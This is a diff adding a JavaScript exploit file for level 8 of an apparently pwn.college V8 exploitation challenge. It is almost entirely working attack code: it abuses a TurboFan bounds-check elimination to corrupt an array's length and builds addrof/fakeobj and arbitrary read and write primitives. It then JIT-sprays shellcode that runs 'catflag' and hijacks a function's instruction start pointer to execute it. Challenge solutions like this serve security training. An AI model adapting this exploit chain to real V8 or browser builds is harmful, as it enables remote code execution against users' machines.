Level 8 of PwnCollegeV8Exploitation

JavaScript/PwnCollegeV8Exploitation/Level8/Exploit.js

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+let ab = new ArrayBuffer(8);
+let f64a = new Float64Array(ab, 0, 1);
+let i32a = new Uint32Array(ab, 0, 2);
+let si32a = new Int32Array(ab, 0, 2);
+let bi64a = new BigUint64Array(ab, 0, 1);
+
+function c2f(low, high) { // combined (two 4 bytes) word to float
+    i32a[0] = low;
+    i32a[1] = high;
+    return f64a[0];
+}
+
+function b2f(v) { // bigint to float
+    bi64a[0] = v;
+    return f64a[0];
+}
+
+function f2b(v) { // float to bigint
+    f64a[0] = v;
+    return bi64a[0];
+}
+
+function unptr(v) {
+    return v & 0xfffffffe;
+}
+
+function ptr(v) {
+    return v | 1;
+}
+
+function shellcode() {
+    // JIT spray machine code form of `execve("catflag", NULL, NULL)`
+    return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
+}
+for (let i = 0; i < 1000; i++) shellcode(); // Trigger MAGLEV compilation, too large loop count will trigger TURBOFAN
+
+function opt(i) {
+    let fixed_size_arr = [1.1]; // Range for `fixed_size_arr.length`: [1, 1]
+    let corrupt_arr = [2.30234590962020889586281057477E-320];
+    let double_arr = [1.09366371363418335018925267989E-319];
+    let obj_arr = [corrupt_arr];
+    i = i & 0x0fff_ffff; // Range for `i`: [0, 0x0fff_ffff]
+    f64a[0] = fixed_size_arr[i]; // `CheckBounds` Eliminated
+    i32a[1] = 0x20_0000;
+    fixed_size_arr[i] = f64a[0]; // `CheckBounds` Eliminated
+    return [fixed_size_arr, corrupt_arr, double_arr, obj_arr];
+}
+
+for (let i = 0; i < 1000000; i++) 
+    opt(0); // Trigger TURBOFAN compilation
+
+// %DebugPrint(opt);
+
+let [_, corrupt_arr, double_arr, obj_arr] = opt(6);
+
+if (corrupt_arr.length !== 0x10_0000) {
+    throw new Error("corrupt_arr.length corrupt failed!");
+}
+
+// %DebugPrint(corrupt_arr);
+// %DebugPrint(double_arr);
+// %DebugPrint(obj_arr);
+// %SystemBreak();
+
+const corrupt_arr_0_to_obj_arr_0_offset = 8;
+const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 0;
+
+function GetAddressOf(obj) {
+    obj_arr[0] = obj;
+    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
+    return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
+}
+
+function GetFakeObject(addr) {
+    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
+    let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
+    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
+    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
+    let faked_obj = obj_arr[0];
+    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
+    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
+    return faked_obj;
+}
+
+const corrupt_arr_0_to_double_arr_element_offset = 6;
+
+// QWORD Aligned
+function ArbRead64(cage_addr) { // int32
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
+    let result = f2b(double_arr[0]);
+    console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// QWORD Aligned
+function ArbWrite64(cage_addr, value) { // int32, bigint
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
+    let written = b2f(value);
+    double_arr[0] = written;
+    console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+// DWORD Aligned
+function ArbRead32(cage_addr) { // int32 -> int32
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
+    let result = i32a[(cage_addr & 0x4) >> 2];
+    console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// DWORD Aligned
+function ArbWrite32(cage_addr, value) { // int32, int32 -> void
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
+    bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
+    i32a[(cage_addr & 0x4) >> 2] = value;
+    ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
+    console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+let shellcode_addr = GetAddressOf(shellcode);
+console.log("Address of shellcode: " + shellcode_addr.toString(16));
+// %DebugPrint(shellcode);
+// %SystemBreak();
+let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
+console.log("Address of code: " + code_addr.toString(16));
+let instruction_start_addr = code_addr + 0x14;
+let instruction_start = ArbRead32(instruction_start_addr);
+console.log("instruction_start: " + instruction_start.toString(16));
+ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
+
+shellcode();